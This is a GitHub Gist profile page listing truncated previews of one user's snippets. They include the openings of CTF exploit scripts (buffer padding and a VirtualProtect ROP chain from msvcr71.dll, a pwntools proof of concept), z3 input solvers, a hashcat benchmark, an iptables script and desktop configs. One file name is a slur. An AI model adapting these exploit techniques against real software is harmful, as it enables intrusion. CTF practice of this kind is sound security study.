Skip to content

Instantly share code, notes, and snippets.

Avatar
😺

Mohd Shahril shahril96

😺
View GitHub Profile
@shahril96
shahril96 / bokep-exploit.py
Created Dec 21, 2019
Build exploit for wargames.my 2019's bokep (from nafiez)
View bokep-exploit.py
import struct
buf = b'A' * 132
#
# virtualProtect() for rwx (msvcr71.dll – v7.10.3052.4)
# url: https://www.corelan.be/index.php/security/corelan-ropdb/#msvcr71dll_v71030524
#
rop_gadgets = [
View web1.py
from z3 import *
import struct
a = [BitVec("a{}".format(i), 8) for i in range(5)]
s = Solver()
def is_valid(x):
return Or(
And(x >= ord('1'), x <= ord('9')),
And(x >= ord('a'), x <= ord('z')),
@shahril96
shahril96 / collision.py
Last active Oct 15, 2019
Generate valid input (printable) for pwnable.kr's collision
View collision.py
import struct
from z3 import *
p = [BitVec('p{}'.format(i), 32) for i in range(5)]
s = Solver()
for a in p:
for i in range(4):
s.add(((a >> i*8) & 0xff) >= 0x30)
s.add(((a >> i*8) & 0xff) <= 0x7a)
@shahril96
shahril96 / uncompyle6-recursive.sh
Created May 30, 2019
Decompile all pyc files recursively under current directory
View uncompyle6-recursive.sh
find . -name "*.pyc" -execdir uncompyle6 -o . {} \;
@shahril96
shahril96 / hashcat-benchmark-rtx2080ti.txt
Created Feb 26, 2019
Hashcat Benchmark - 2x RTX 2080 Ti
View hashcat-benchmark-rtx2080ti.txt
MEMORY: 62.6 GiB
PROCESSOR: Intel® Core™ i9-7920X CPU @ 2.90GHz × 24
GRAPHICS: GeForce RTX 2080 Ti/PCIe/SSE2 x2
DISK: 1.8TB SSD + 1TB NVMe SSD + 3TB HDD
@shahril96
shahril96 / faggot.py
Created Dec 10, 2018
POC for Wargames.my 2018's faggot2.0 challenge
View faggot.py
from pwn import *
context.terminal = ['konsole', '-e', 'sh', '-c']
def split2len(s, n):
def _f(s, n):
while s:
yield s[:n]
s = s[n:]
return list(_f(s, n))
View script.sh
#!/usr/bin/env bash
if (( $EUID != 0 )); then
echo "Please run as root"
exit
fi
# clear existing iptables
iptables -X
iptables -F
@shahril96
shahril96 / tint2rc
Last active Nov 10, 2018
very simple tint2 configuration
View tint2rc
#---- Generated by tint2conf cab8 ----
# See https://gitlab.com/o9000/tint2/wikis/Configure for
# full documentation of the configuration options.
#-------------------------------------
# Gradients
#-------------------------------------
# Backgrounds
# Background 1: Launcher, Panel
rounded = 0
border_width = 0
@shahril96
shahril96 / menu.xml
Created Nov 10, 2018
obmenu configuration
View menu.xml
<?xml version="1.0" encoding="utf-8"?>
<openbox_menu>
<menu id="root-menu" label="OpenBox 3" execute="/usr/bin/obmenu-generator -i">
</menu>
</openbox_menu>
View opencvshapedetector.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
You can’t perform that action at this time.